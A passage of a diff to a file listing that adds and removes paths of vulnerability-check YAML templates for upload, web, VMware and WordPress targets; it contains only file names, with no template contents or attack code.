./poc/upload/fanruan-oa-v9-designsavevg-upload-file.yaml ./poc/upload/fanwei-e-office-v10-fileupload.yaml @@ -95050,8 +95593,8 @@ ./poc/upload/krsp-frontend-file-upload-plugin.yaml ./poc/upload/krsp-frontend-file-upload.yaml ./poc/upload/landray-eis-saveimg-fileupload.yaml +./poc/upload/luftguitar-arbitrary-file-upload-8672.yaml ./poc/upload/luftguitar-arbitrary-file-upload-8673.yaml -./poc/upload/luftguitar-arbitrary-file-upload.yaml ./poc/upload/magicflu-mailupdate-jsp-fileupload.yaml ./poc/upload/magn-html5-drag-and-drop-media-uploader-006e5f1d4e64f8fa5e922d39952f36b6.yaml ./poc/upload/magn-html5-drag-and-drop-media-uploader-65b90b5afd371997ac4afce08583c91d.yaml @@ -95128,13 +95671,14 @@ ./poc/upload/nsfocus-nf-bugsInfo-fileupload.yaml ./poc/upload/oa-v9-uploads-file-9187.yaml ./poc/upload/oa-v9-uploads-file-9188.yaml -./poc/upload/oa-v9-uploads-file-9189.yaml -./poc/upload/oa-v9-uploads-file-9190.yaml ./poc/upload/oa-v9-uploads-file-9191.yaml +./poc/upload/oa-v9-uploads-file.yaml ./poc/upload/pc4uploader.yaml ./poc/upload/pigcms-manage-admin-fileupload.yaml ./poc/upload/powercreator-arbitrary-file-upload.yaml ./poc/upload/powercreator-arbitrary-file-upload.yml +./poc/upload/prestashop-blocktestimonial-file-upload.yaml +./poc/upload/prestashop-cartabandonmentpro-file-upload.yaml ./poc/upload/protect-uploads-81a3ee36cf5fa40745f71fe620512d9b.yaml ./poc/upload/protect-uploads-ca4cac06a618f3b5f77551da95501cb0.yaml ./poc/upload/protect-uploads-d41d8cd98f00b204e9800998ecf8427e.yaml @@ -95150,7 +95694,7 @@ ./poc/upload/qianxin-legendsec-SecGate-upload.yaml ./poc/upload/qianxin-secgate3600-syshandupfile-upload-rce.yaml ./poc/upload/qianxin-secworld-secgate-3600-fileupload.yaml -./poc/upload/qihang-media-upload_all.yaml +./poc/upload/qihang-media-upload.yaml ./poc/upload/qiniu-uploader-00fa1d2ba63df2c928dce8c2e7130935.yaml ./poc/upload/qiniu-uploader-24538ffcfadf2f7fbd05962931ec6f81.yaml ./poc/upload/qiniu-uploader-d41d8cd98f00b204e9800998ecf8427e.yaml @@ -95202,7 +95746,6 @@ ./poc/upload/shiziyu-image_upload-fileupload.yaml ./poc/upload/shiziyu-wxapp-fileupload.yaml ./poc/upload/shiziyuCMS-ck-AnyFileUpload.yaml -./poc/upload/showdoc-file-upload-rce-10225.yaml ./poc/upload/showdoc-file-upload-rce-10226.yaml ./poc/upload/showdoc-file-upload-rce-10227.yaml ./poc/upload/showdoc-file-upload-rce-10228.yaml @@ -95263,6 +95806,7 @@ ./poc/upload/upload-media-by-url.yaml ./poc/upload/uploadOperation.yaml ./poc/upload/uploadcare-32f8bed9a71ea64f68209e4eef588b63.yaml +./poc/upload/uploadcare.yaml ./poc/upload/uploader-1eeb96e6fdd259a25fc3126ec95fe69f.yaml ./poc/upload/uploader-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/upload/uploader-e1daa4eaee831821101085a5bd704d91.yaml @@ -95330,7 +95874,6 @@ ./poc/upload/wordpress-flash-uploader-d56e885d81c54cfe923859c66bf5a127.yaml ./poc/upload/wordpress-flash-uploader.yaml ./poc/upload/wordpress-theme-travelscape-1-0-3-arbitrary-file-upload.yaml -./poc/upload/wordpress-upload-data.yaml ./poc/upload/wordpress-uploads-dirlisting.yaml ./poc/upload/work-the-flow-file-upload-2b5f59669c9c5f8d0c8cf518fefb9e59.yaml ./poc/upload/work-the-flow-file-upload-5064d96465ff52815e9015d96ef7c7a5.yaml @@ -95386,6 +95929,8 @@ ./poc/upload/wp-upload-data-11602.yaml ./poc/upload/wp-upload-data-11603.yaml ./poc/upload/wp-upload-data-11604.yaml +./poc/upload/wp-upload-data-11605.yaml +./poc/upload/wp-upload-data.yaml ./poc/upload/wp-upload-restriction-34ada383253b9728876613379fa9dea6.yaml ./poc/upload/wp-upload-restriction-3b5c347348b988baaab2601e987517ae.yaml ./poc/upload/wp-upload-restriction-81b96fa379daa9e93cab1ad57b78f1f7.yaml @@ -95423,11 +95968,11 @@ ./poc/upload/yonyou-uploadApk-fileupload.yaml ./poc/upload/yonyou_U8-upload-FileUpload.yaml ./poc/upload/youyong-jsinvoke-upload.yaml -./poc/upload/zhiyuan-file-upload-11791.yaml ./poc/upload/zhiyuan-file-upload-11792.yaml ./poc/upload/zhiyuan-file-upload-11793.yaml ./poc/upload/zhiyuan-file-upload-11794.yaml ./poc/upload/zhiyuan-file-upload-11795.yaml +./poc/upload/zhiyuan-file-upload-11796.yaml ./poc/upload/zhiyuan-upload-bypass.yaml ./poc/upload/zx-csv-upload-496aed87f34f05f4c538f1eed3901e58.yaml ./poc/upload/zx-csv-upload.yaml @@ -95439,6 +95984,7 @@ ./poc/vmware/vmware-airwatch-version-detect.yaml ./poc/vmware/vmware-aria-operations-for-logs.yaml ./poc/vmware/vmware-aria-operations.yaml +./poc/vmware/vmware-authentication-daemon-detect.yaml ./poc/vmware/vmware-carbon-black-edr.yaml ./poc/vmware/vmware-cloud-availability.yaml ./poc/vmware/vmware-cloud-director.yaml @@ -95455,7 +96001,6 @@ ./poc/vmware/vmware-horizon-daas.yaml ./poc/vmware/vmware-horizon-log4j-jndi-rce-11033.yaml ./poc/vmware/vmware-horizon-log4j-jndi-rce-11034.yaml -./poc/vmware/vmware-horizon-log4j-jndi-rce.yaml ./poc/vmware/vmware-horizon-log4j-rce.yaml ./poc/vmware/vmware-horizon-panel-11036.yaml ./poc/vmware/vmware-horizon-panel-11037.yaml @@ -95475,7 +96020,6 @@ ./poc/vmware/vmware-vcenter-lfi-3.yaml ./poc/vmware/vmware-vcenter-lfi-linux-11042.yaml ./poc/vmware/vmware-vcenter-lfi-linux-11043.yaml -./poc/vmware/vmware-vcenter-lfi-linux-11044.yaml ./poc/vmware/vmware-vcenter-lfi-linux-11045.yaml ./poc/vmware/vmware-vcenter-lfi.yaml ./poc/vmware/vmware-vcenter-log4j-jndi-rce-11049.yaml @@ -95529,6 +96073,7 @@ ./poc/web/a2b-webserver.yaml ./poc/web/abyss-web-server-11.yaml ./poc/web/abyss-web-server-13.yaml +./poc/web/abyss-web-server.yaml ./poc/web/acceso-web-portal.yaml ./poc/web/achecker-web-accessibility-evaluation-tool.yaml ./poc/web/activeweb-content-server.yaml @@ -95541,6 +96086,7 @@ ./poc/web/ahwebexperts-product-sqli.yaml ./poc/web/ai-assistant-by-10web-fbe2b789ff7d3a0b8c6111e279109258.yaml ./poc/web/ai-assistant-by-10web.yaml +./poc/web/aix-websm-detect.yaml ./poc/web/akiva-webboard.yaml ./poc/web/all-in-one-webmaster-df31ce7743df91d7c5601fef69d58b9e.yaml ./poc/web/all-in-one-webmaster.yaml @@ -95558,10 +96104,9 @@ ./poc/web/appsmith-web-login.yaml ./poc/web/arangodb-web-Interface.yaml ./poc/web/archibus-webcentral-panel.yaml -./poc/web/artica-web-proxy-detect-543.yaml ./poc/web/artica-web-proxy-detect-544.yaml +./poc/web/artica-web-proxy-detect-545.yaml ./poc/web/artica-web-proxy-detect-546.yaml -./poc/web/artica-web-proxy-detect.yaml ./poc/web/artica-web-proxy-workflow.yaml ./poc/web/automatedlogiccorporation-webctrl.yaml ./poc/web/avtech-video-web-server.yaml @@ -95573,12 +96118,13 @@ ./poc/web/axigen-webadmin-660.yaml ./poc/web/axigen-webmail-662.yaml ./poc/web/axigen-webmail-664.yaml +./poc/web/axigen-webmail.yaml ./poc/web/axis2-web.yaml ./poc/web/axway-securetransport-webclient.yaml +./poc/web/azkaban-web-client-676.yaml ./poc/web/azkaban-web-client-677.yaml ./poc/web/azkaban-web-client-678.yaml ./poc/web/azkaban-web-client-679.yaml -./poc/web/azkaban-web-client-680.yaml ./poc/web/azkaban-web-client-default-creds.yaml ./poc/web/azure-website-enum.yaml ./poc/web/bizcalendar-web-bbb880210d42a6df93041f7b5a68a42e.yaml @@ -95635,7 +96181,6 @@ ./poc/web/dixell-xweb500-filewrite-7018.yaml ./poc/web/dixell-xweb500-filewrite-7019.yaml ./poc/web/dixell-xweb500-filewrite-7020.yaml -./poc/web/dixell-xweb500-filewrite.yaml ./poc/web/dom-xss-web-message.yaml ./poc/web/drupal_module-webform-access-bypass.yaml ./poc/web/drupal_module-webform-cross-site-scripting.yaml @@ -95645,6 +96190,7 @@ ./poc/web/drupal_module-webprofiler-cross-site-scripting.yaml ./poc/web/drwebantivirus.yaml ./poc/web/dynamicweb-panel-7143.yaml +./poc/web/dynamicweb-panel-7144.yaml ./poc/web/dynamicweb-panel.yaml ./poc/web/dynamicweb-workflow.yaml ./poc/web/dynaweb-httpd.yaml @@ -95666,7 +96212,6 @@ ./poc/web/epson-web-control-detect-7240.yaml ./poc/web/epson-web-control-detect-7241.yaml ./poc/web/epson-web-control-detect-7242.yaml -./poc/web/epson-web-control-detect.yaml ./poc/web/eroom-zoom-meetings-webinar-0e9b962c26509b0ebb8c8433068cfe9a.yaml ./poc/web/eroom-zoom-meetings-webinar-159d5bcb9a710a9c13bf5b1347428f9f.yaml ./poc/web/eroom-zoom-meetings-webinar-6fcef65e557fe923bd4f5e23cac7acf5.yaml @@ -95686,8 +96231,8 @@ ./poc/web/ewebs-arbitrary-file-reading-7273.yaml ./poc/web/ewebs-lfi.yaml ./poc/web/ewebs.yaml -./poc/web/exposed-webalizer-7358.yaml ./poc/web/exposed-webalizer-7359.yaml +./poc/web/exposed-webalizer-7360.yaml ./poc/web/exposed-webalizer.yaml ./poc/web/facebook-by-weblizar-5f0cf300a16245f7f5c3b4c848d038d5.yaml ./poc/web/facebook-by-weblizar.yaml @@ -95739,6 +96284,7 @@ ./poc/web/geovision-geowebserver-lfi-7595.yaml ./poc/web/geovision-geowebserver-lfi-7596.yaml ./poc/web/geovision-geowebserver-lfi-7597.yaml +./poc/web/geovision-geowebserver-lfi.yaml ./poc/web/geovision-geowebserver-xss-7598.yaml ./poc/web/geovision-geowebserver-xss-7599.yaml ./poc/web/geovision-geowebserver-xss-7600.yaml @@ -95799,7 +96345,6 @@ ./poc/web/ibm-webseal.yaml ./poc/web/ibm-websphere-admin-panel.yaml ./poc/web/ibm-websphere-panel.yaml -./poc/web/ibm-websphere-ssrf-8126.yaml ./poc/web/ibm-websphere-ssrf.yaml ./poc/web/ibm-websphere.yaml ./poc/web/icewarp-webclient-basic-rce.yaml @@ -95807,9 +96352,9 @@ ./poc/web/icewarp-webclient-rce-8130.yaml ./poc/web/icewarp-webclient-rce-8131.yaml ./poc/web/icewarp-webclient-rce-8132.yaml +./poc/web/icewarp-webclient-rce-8133.yaml ./poc/web/icinga-web-login-8134.yaml ./poc/web/icinga-web-login-8135.yaml -./poc/web/icinga-web-login-8136.yaml ./poc/web/icinga-web-login-8137.yaml ./poc/web/icinga-web-login.yaml ./poc/web/ideawebserver.yaml @@ -95827,8 +96372,7 @@ ./poc/web/indigitall-web-push-notifications.yaml ./poc/web/ip-guard-webserver-rce.yaml ./poc/web/iplanet-web-server-8189.yaml -./poc/web/iplanet-web-server-8191.yaml -./poc/web/iplanet-web-server.yaml +./poc/web/iplanet-web-server-8190.yaml ./poc/web/iwebshop.yaml ./poc/web/iwebsns.yaml ./poc/web/ixbusweb-version.yaml @@ -95868,7 +96412,7 @@ ./poc/web/microsoft-teams-webhook-8856.yaml ./poc/web/microsoft-teams-webhook-8857.yaml ./poc/web/microweber-detect-8862.yaml -./poc/web/microweber-detect-8863.yaml +./poc/web/microweber-detect.yaml ./poc/web/microweber-stored-xss.yaml ./poc/web/microweber-xss-8864.yaml ./poc/web/microweber-xss-8865.yaml @@ -95918,13 +96462,15 @@ ./poc/web/onwebchat-c145e3807e1a4b3d935bf59cab21f294.yaml ./poc/web/onwebchat.yaml ./poc/web/opendreambox-webadmin-rce.yaml +./poc/web/opennms-web-console-9285.yaml ./poc/web/opennms-web-console-9286.yaml -./poc/web/opennms-web-console-9287.yaml ./poc/web/opennms-web-console.yaml ./poc/web/openvz-web-login.yaml +./poc/web/openwebui-panel.yaml ./poc/web/opt-webfieldassis.yaml ./poc/web/oracle-iplanet-web-server-9391.yaml -./poc/web/oracle-iplanet-web-server-9392.yaml +./poc/web/oracle-iplanet-web-server-9393.yaml +./poc/web/oracle-iplanet-web-server.yaml ./poc/web/oracle-webdb.yaml ./poc/web/oracle-weblogic.yaml ./poc/web/original-texts-yandex-webmaster-2e0593c9307af66de377149e0e6a4d6c.yaml @@ -95971,22 +96517,24 @@ ./poc/web/ruijie-smartweb-web-xml-webuser-infoleak.yaml ./poc/web/ruijie_EWEB_route_auth_rce.yaml ./poc/web/saia-web-server-info-9978.yaml -./poc/web/saia-web-server-info-9979.yaml +./poc/web/saia-web-server-info-9980.yaml +./poc/web/saia-web-server-info.yaml ./poc/web/samphpweb.yaml ./poc/web/sap-netweaver-webgui-10056.yaml ./poc/web/sap-netweaver-webgui-10057.yaml -./poc/web/sap-netweaver-webgui-10058.yaml +./poc/web/sap-netweaver-webgui-10059.yaml ./poc/web/sap-nw-abap-webgui.yaml ./poc/web/sap-web-application-server.yaml ./poc/web/sap-web-dispatcher-10074.yaml -./poc/web/sap-web-dispatcher-10075.yaml ./poc/web/sap-web-dispatcher-10076.yaml ./poc/web/sap-web-dispatcher-10077.yaml +./poc/web/sap-web-dispatcher-10078.yaml ./poc/web/sap-web-dispatcher-admin-portal-10069.yaml ./poc/web/sap-web-dispatcher-admin-portal-10070.yaml -./poc/web/sap-web-dispatcher-admin-portal-10071.yaml ./poc/web/sap-web-dispatcher-admin-portal-10072.yaml ./poc/web/sap-web-dispatcher-admin-portal-10073.yaml +./poc/web/sap-web-dispatcher-admin-portal.yaml +./poc/web/sap-web-dispatcher.yaml ./poc/web/sauter-moduwebvision-panel.yaml ./poc/web/savant-web-server.yaml ./poc/web/screwturn-wiki-web-service.yaml @@ -96035,7 +96583,6 @@ ./poc/web/synology-web-station-10630.yaml ./poc/web/synology-web-station-10631.yaml ./poc/web/synology-web-station-10632.yaml -./poc/web/synology-web-station.yaml ./poc/web/synology-webstation.yaml ./poc/web/tasmota-config-webui.yaml ./poc/web/tenda-web-master.yaml @@ -96056,8 +96603,8 @@ ./poc/web/titannit-web-exposure.yaml ./poc/web/topfreeweb-charging.yaml ./poc/web/toshiba-topaccess-webserver.yaml -./poc/web/total-web-10814.yaml ./poc/web/total-web-10815.yaml +./poc/web/total-web-10816.yaml ./poc/web/total-web-solutions-panel.yaml ./poc/web/total-web.yaml ./poc/web/transbank-webpay-plus-rest-b22fd365ed7d35e56875e8d0153ca1a9.yaml @@ -96130,7 +96677,6 @@ ./poc/web/web-file-manager.yaml ./poc/web/web-framework-detect.yaml ./poc/web/web-ftp-detect-11135.yaml -./poc/web/web-ftp-detect-11136.yaml ./poc/web/web-ftp-detect-11137.yaml ./poc/web/web-ftp-detect-11138.yaml ./poc/web/web-instant-messenger-4ae688b6df13f1343923a0c3f1daa933.yaml @@ -96199,10 +96745,11 @@ ./poc/web/webcam-2way-videochat-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/web/webcam-2way-videochat-plugin.yaml ./poc/web/webcam-2way-videochat.yaml -./poc/web/webcamxp-5.yaml +./poc/web/webcamxp-5-11122.yaml ./poc/web/webcomco-panel.yaml ./poc/web/webeditors-1.yaml ./poc/web/webeditors-11128.yaml +./poc/web/webeditors-11129.yaml ./poc/web/webeditors-11130.yaml ./poc/web/webeditors-2.yaml ./poc/web/webeditors-3.yaml @@ -96225,7 +96772,7 @@ ./poc/web/webflow-pages-1ea2b2d3f70cdc2bbd228fad03d8cc84.yaml ./poc/web/webflow-pages.yaml ./poc/web/webflow-takeover-11131.yaml -./poc/web/webflow-takeover-11132.yaml +./poc/web/webflow-takeover-11133.yaml ./poc/web/webflow-takeover-11134.yaml ./poc/web/webflow-takeover.yaml ./poc/web/webfolio-31eb77eaefc61e112478e9f1952e822d.yaml @@ -96273,6 +96820,7 @@ ./poc/web/weblogic-cve-2019-2729-2.yml ./poc/web/weblogic-cve-2020-14750.yml ./poc/web/weblogic-detect-11142.yaml +./poc/web/weblogic-detect-11143.yaml ./poc/web/weblogic-detect-11144.yaml ./poc/web/weblogic-detect-11145.yaml ./poc/web/weblogic-detect-11146.yaml @@ -96286,8 +96834,8 @@ ./poc/web/weblogic-servlet-xss.yml ./poc/web/weblogic-ssrf.yaml ./poc/web/weblogic-ssrf.yml -./poc/web/weblogic-t3-detect-11151.yaml ./poc/web/weblogic-t3-detect-11152.yaml +./poc/web/weblogic-t3-detect-11153.yaml ./poc/web/weblogic-t3-detect.yaml ./poc/web/weblogic-t3-search.yaml ./poc/web/weblogic-uddiexplorer.yaml @@ -96321,6 +96869,7 @@ ./poc/web/webmodule-ee-11163.yaml ./poc/web/webmodule-ee-11164.yaml ./poc/web/webmodule-ee-panel-11160.yaml +./poc/web/webmodule-ee-panel-11161.yaml ./poc/web/webmodule-ee-panel.yaml ./poc/web/webmodule-ee.yaml ./poc/web/webp-converter-for-media-a33c88596c6b666a69762f624cf7c81b.yaml @@ -96331,6 +96880,7 @@ ./poc/web/webp-express-802342a8791d6bf81a3a97aaebbba8bf.yaml ./poc/web/webp-express.yaml ./poc/web/webpa.yaml +./poc/web/webpack-sourcemap.yaml ./poc/web/webpagetest-panel.yaml ./poc/web/webpagetest-ssrf.yaml ./poc/web/webpushr-web-push-notifications-732db8838bb5b48e90c05c399af31aa3.yaml @@ -96379,6 +96929,7 @@ ./poc/web/webui-rce-11171.yaml ./poc/web/webui-rce-11172.yaml ./poc/web/webui-rce-11173.yaml +./poc/web/webui-rce-11174.yaml ./poc/web/webuploader.yaml ./poc/web/webuzo-admin-panel.yaml ./poc/web/webuzo-installer.yaml @@ -96390,7 +96941,7 @@ ./poc/web/webview-load-url-11181.yaml ./poc/web/webview-load-url-11182.yaml ./poc/web/webview-load-url.yaml -./poc/web/webview-universal-access-11184.yaml +./poc/web/webview-universal-access-11183.yaml ./poc/web/webview-universal-access-11185.yaml ./poc/web/webview-universal-access.yaml ./poc/web/webwinkelkeur-ced2503806e6d345fdbe860b7d0f8b57.yaml @@ -96435,9 +96986,9 @@ ./poc/web/zingiri-web-shop-1f9ea959eaa7dfc9f5b881f55bb49da3.yaml ./poc/web/zingiri-web-shop-f406540ed24a47e0daf12414ccf28530.yaml ./poc/web/zingiri-web-shop.yaml -./poc/web/zoho-webhook-token-11835.yaml ./poc/web/zoho-webhook-token-11836.yaml ./poc/web/zoho-webhook-token-11837.yaml +./poc/web/zoho-webhook-token.yaml ./poc/web/佑友-mailgard-webmail.yaml ./poc/web/启明星辰-天清web应用安全网关.yaml ./poc/web/天融信-web应用安全网关.yaml @@ -97720,6 +98271,7 @@ ./poc/wordpress/nativechurch-wp-theme-lfd-9000.yaml ./poc/wordpress/nativechurch-wp-theme-lfd-9001.yaml ./poc/wordpress/nativechurch-wp-theme-lfd-9002.yaml +./poc/wordpress/nativechurch-wp-theme-lfd-9003.yaml ./poc/wordpress/nex-forms-express-wp-form-builder-03800489aeb5ec718d025ca048ebef5f.yaml ./poc/wordpress/nex-forms-express-wp-form-builder-0edf774a73681701d15ccd27145d0f02.yaml ./poc/wordpress/nex-forms-express-wp-form-builder-114bbf244df9c7fd1e8612fd62abeff4.yaml @@ -98073,7 +98625,6 @@ ./poc/wordpress/trilithic-viewpoint-login-10838.yaml ./poc/wordpress/trilithic-viewpoint-login-10839.yaml ./poc/wordpress/trilithic-viewpoint-login-10840.yaml -./poc/wordpress/trilithic-viewpoint-login.yaml ./poc/wordpress/twentyfourth-wp-scraper-6477bf18cad6c823db485408d49b337b.yaml ./poc/wordpress/twentyfourth-wp-scraper-ff9293ba28748efa2ab9a2fe77385468.yaml ./poc/wordpress/twentyfourth-wp-scraper.yaml @@ -98112,6 +98663,7 @@ ./poc/wordpress/videojs-html5-video-player-for-wordpress.yaml ./poc/wordpress/viewpoint-system-status-11016.yaml ./poc/wordpress/viewpoint-system-status-11017.yaml +./poc/wordpress/viewpoint-system-status-11018.yaml ./poc/wordpress/viewpoint-system-status-11019.yaml ./poc/wordpress/viewpoint-system-status.yaml ./poc/wordpress/views-for-wpforms-lite-3242a9557ef1bd82e6212d9b01c1527e.yaml @@ -98392,7 +98944,6 @@ ./poc/wordpress/wordpress-accessible-wpconfig-10.yaml ./poc/wordpress/wordpress-accessible-wpconfig-11.yaml ./poc/wordpress/wordpress-accessible-wpconfig-11234.yaml -./poc/wordpress/wordpress-accessible-wpconfig-11235.yaml ./poc/wordpress/wordpress-accessible-wpconfig-11237.yaml ./poc/wordpress/wordpress-accessible-wpconfig-11238.yaml ./poc/wordpress/wordpress-accessible-wpconfig-11239.yaml @@ -98425,7 +98976,7 @@ ./poc/wordpress/wordpress-afad16faf36b64e536b10247898859bf.yaml ./poc/wordpress/wordpress-affiliatewp-log-11240.yaml ./poc/wordpress/wordpress-affiliatewp-log-11241.yaml -./poc/wordpress/wordpress-affiliatewp-log-11242.yaml +./poc/wordpress/wordpress-affiliatewp-log-11243.yaml ./poc/wordpress/wordpress-affiliatewp-log-11244.yaml ./poc/wordpress/wordpress-affiliatewp-log.yaml ./poc/wordpress/wordpress-all-plugins-check.yaml @@ -98459,6 +99010,7 @@ ./poc/wordpress/wordpress-bbe7d5752179155e1a73c493a9edc901.yaml ./poc/wordpress/wordpress-bbpress-plugin-listing-11245.yaml ./poc/wordpress/wordpress-bbpress-plugin-listing-11246.yaml +./poc/wordpress/wordpress-bbpress-plugin-listing.yaml ./poc/wordpress/wordpress-bc11188030c5ef34e44564c173b85b3b.yaml ./poc/wordpress/wordpress-bcae5ef6c0a4aa3c431c36626afbf967.yaml ./poc/wordpress/wordpress-bcee80614ad35036078b4b38fac65ba7.yaml @@ -98542,7 +99094,6 @@ ./poc/wordpress/wordpress-db-backup-listing-11250.yaml ./poc/wordpress/wordpress-db-backup-listing.yaml ./poc/wordpress/wordpress-db-backup.yaml -./poc/wordpress/wordpress-db-repair-11252.yaml ./poc/wordpress/wordpress-db-repair-11253.yaml ./poc/wordpress/wordpress-db-repair-11254.yaml ./poc/wordpress/wordpress-db-repair-11255.yaml @@ -98552,9 +99103,9 @@ ./poc/wordpress/wordpress-dd1b6de448bb4fd611b3b3b6edcc7794.yaml ./poc/wordpress/wordpress-dda907510675cbb0670ca56ea3753b92.yaml ./poc/wordpress/wordpress-de03b87f4ceb36bcd460178f68d510a8.yaml +./poc/wordpress/wordpress-debug-log-11256.yaml ./poc/wordpress/wordpress-debug-log-11257.yaml ./poc/wordpress/wordpress-debug-log-11258.yaml -./poc/wordpress/wordpress-debug-log-11259.yaml ./poc/wordpress/wordpress-debug-log.yaml ./poc/wordpress/wordpress-detect-11261.yaml ./poc/wordpress/wordpress-detect.yaml @@ -98604,7 +99155,7 @@ ./poc/wordpress/wordpress-ef96ecb2cd1265aea759b558ece60c76.yaml ./poc/wordpress/wordpress-elementor-plugin-listing-11267.yaml ./poc/wordpress/wordpress-elementor-plugin-listing-11268.yaml -./poc/wordpress/wordpress-elementor-plugin-listing.yaml +./poc/wordpress/wordpress-elementor-plugin-listing-11269.yaml ./poc/wordpress/wordpress-emails-verification-for-woocommerce-1.yaml ./poc/wordpress/wordpress-emails-verification-for-woocommerce-11270.yaml ./poc/wordpress/wordpress-emails-verification-for-woocommerce-11271.yaml @@ -98613,8 +99164,8 @@ ./poc/wordpress/wordpress-emergency-script-11272.yaml ./poc/wordpress/wordpress-emergency-script-11273.yaml ./poc/wordpress/wordpress-emergency-script-11274.yaml +./poc/wordpress/wordpress-emergency-script-11275.yaml ./poc/wordpress/wordpress-emergency-script-11276.yaml -./poc/wordpress/wordpress-emergency-script-11277.yaml ./poc/wordpress/wordpress-emergency-script.yaml ./poc/wordpress/wordpress-env.yaml ./poc/wordpress/wordpress-exit-box-lite-b885aa8757fedd66d898c12224efaf9e.yaml @@ -98682,11 +99233,11 @@ ./poc/wordpress/wordpress-git-config-11279.yaml ./poc/wordpress/wordpress-git-config-2.yaml ./poc/wordpress/wordpress-git-config.yaml -./poc/wordpress/wordpress-gotmls-detect-11280.yaml ./poc/wordpress/wordpress-gotmls-detect-11281.yaml ./poc/wordpress/wordpress-gotmls-detect.yaml ./poc/wordpress/wordpress-gtranslate-plugin-listing-11282.yaml ./poc/wordpress/wordpress-gtranslate-plugin-listing-11283.yaml +./poc/wordpress/wordpress-gtranslate-plugin-listing-11284.yaml ./poc/wordpress/wordpress-https-4a61ef799fd66b2a49253a5892d07d5e.yaml ./poc/wordpress/wordpress-https-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/wordpress/wordpress-https-fc212cc7eec653319494b488cc7fe53d.yaml @@ -98707,6 +99258,7 @@ ./poc/wordpress/wordpress-js.yaml ./poc/wordpress/wordpress-language-7a04dfac5ff879ee9a27e2783540d3cb.yaml ./poc/wordpress/wordpress-language.yaml +./poc/wordpress/wordpress-lfi.yaml ./poc/wordpress/wordpress-login-11293.yaml ./poc/wordpress/wordpress-login-11294.yaml ./poc/wordpress/wordpress-login.yaml @@ -98760,6 +99312,7 @@ ./poc/wordpress/wordpress-popup.yaml ./poc/wordpress/wordpress-processing-embed-5346b5250cc01e79e0c30b2e57f1228f.yaml ./poc/wordpress/wordpress-processing-embed.yaml +./poc/wordpress/wordpress-rce-simplefilelist-11299.yaml ./poc/wordpress/wordpress-rce-simplefilelist-11300.yaml ./poc/wordpress/wordpress-rce-simplefilelist-11301.yaml ./poc/wordpress/wordpress-rce-simplefilelist-11302.yaml @@ -98768,9 +99321,10 @@ ./poc/wordpress/wordpress-rce-simplefilelist.yaml ./poc/wordpress/wordpress-rdf-user-enum-11305.yaml ./poc/wordpress/wordpress-rdf-user-enum.yaml +./poc/wordpress/wordpress-readme-file.yaml +./poc/wordpress/wordpress-redirection-plugin-listing-11306.yaml ./poc/wordpress/wordpress-redirection-plugin-listing-11307.yaml ./poc/wordpress/wordpress-redirection-plugin-listing-11308.yaml -./poc/wordpress/wordpress-redirection-plugin-listing.yaml ./poc/wordpress/wordpress-registration-enabled.yaml ./poc/wordpress/wordpress-rest-api.yaml ./poc/wordpress/wordpress-sensitive-config.yaml @@ -98840,9 +99394,9 @@ ./poc/wordpress/wordpress-ssrf-oembed.yaml ./poc/wordpress/wordpress-tabs-slides-be4418fb2f8f0622b5a1bb5cf01f9bd2.yaml ./poc/wordpress/wordpress-tabs-slides.yaml +./poc/wordpress/wordpress-takeover-11310.yaml ./poc/wordpress/wordpress-takeover-11311.yaml ./poc/wordpress/wordpress-takeover-11312.yaml -./poc/wordpress/wordpress-takeover-11313.yaml ./poc/wordpress/wordpress-takeover-11314.yaml ./poc/wordpress/wordpress-takeover.yaml ./poc/wordpress/wordpress-theme-travelscape-1-0-3-arbitrary-file-upload.yaml @@ -98852,8 +99406,9 @@ ./poc/wordpress/wordpress-themes2.yaml ./poc/wordpress/wordpress-tmm-db-migrate-11317.yaml ./poc/wordpress/wordpress-tmm-db-migrate-11318.yaml -./poc/wordpress/wordpress-tmm-db-migrate-11319.yaml +./poc/wordpress/wordpress-tmm-db-migrate-11320.yaml ./poc/wordpress/wordpress-tmm-db-migrate-11321.yaml +./poc/wordpress/wordpress-tmm-db-migrate.yaml ./poc/wordpress/wordpress-toolbar-fe3090a08f4b7352c8affcd6f1333f2d.yaml ./poc/wordpress/wordpress-toolbar.yaml ./poc/wordpress/wordpress-tooltips-ae42ca5e8037e58699bc30d05f9e6f7a.yaml @@ -98869,13 +99424,12 @@ ./poc/wordpress/wordpress-updraftplus-pem-key-11326.yaml ./poc/wordpress/wordpress-updraftplus-pem-key-11328.yaml ./poc/wordpress/wordpress-updraftplus-pem-key.yaml -./poc/wordpress/wordpress-upload-data.yaml ./poc/wordpress/wordpress-uploads-dirlisting.yaml ./poc/wordpress/wordpress-user-enum-11330.yaml ./poc/wordpress/wordpress-user-enum-11331.yaml ./poc/wordpress/wordpress-user-enum-11332.yaml +./poc/wordpress/wordpress-user-enum-11333.yaml ./poc/wordpress/wordpress-user-enum.yaml -./poc/wordpress/wordpress-user-enumeration-11329.yaml ./poc/wordpress/wordpress-user-enumeration.yaml ./poc/wordpress/wordpress-users-8f130e01fe79277e477c686f6f80b3f9.yaml ./poc/wordpress/wordpress-users-9cb1611f6e40c8e16f4af99a9bc891b2.yaml @@ -98890,11 +99444,10 @@ ./poc/wordpress/wordpress-whois-search-1f912223cd5db03abd6e32e02ba54028.yaml ./poc/wordpress/wordpress-whois-search.yaml ./poc/wordpress/wordpress-woocommerce-listing-11338.yaml +./poc/wordpress/wordpress-woocommerce-listing-11339.yaml ./poc/wordpress/wordpress-woocommerce-listing-11340.yaml -./poc/wordpress/wordpress-woocommerce-listing-11341.yaml ./poc/wordpress/wordpress-woocommerce-sqli-1.yaml ./poc/wordpress/wordpress-woocommerce-sqli-11342.yaml -./poc/wordpress/wordpress-woocommerce-sqli-11343.yaml ./poc/wordpress/wordpress-woocommerce-sqli-11344.yaml ./poc/wordpress/wordpress-woocommerce-sqli-11345.yaml ./poc/wordpress/wordpress-woocommerce-sqli-2.yaml @@ -98902,7 +99455,6 @@ ./poc/wordpress/wordpress-wordfence-lfi-11346.yaml ./poc/wordpress/wordpress-wordfence-lfi-11347.yaml ./poc/wordpress/wordpress-wordfence-lfi-11348.yaml -./poc/wordpress/wordpress-wordfence-lfi-11349.yaml ./poc/wordpress/wordpress-wordfence-lfi-11350.yaml ./poc/wordpress/wordpress-wordfence-lfi-11351.yaml ./poc/wordpress/wordpress-wordfence-lfi-11352.yaml @@ -98919,13 +99471,11 @@ ./poc/wordpress/wordpress-workflow-11363.yaml ./poc/wordpress/wordpress-workflow-11364.yaml ./poc/wordpress/wordpress-workflow-11365.yaml 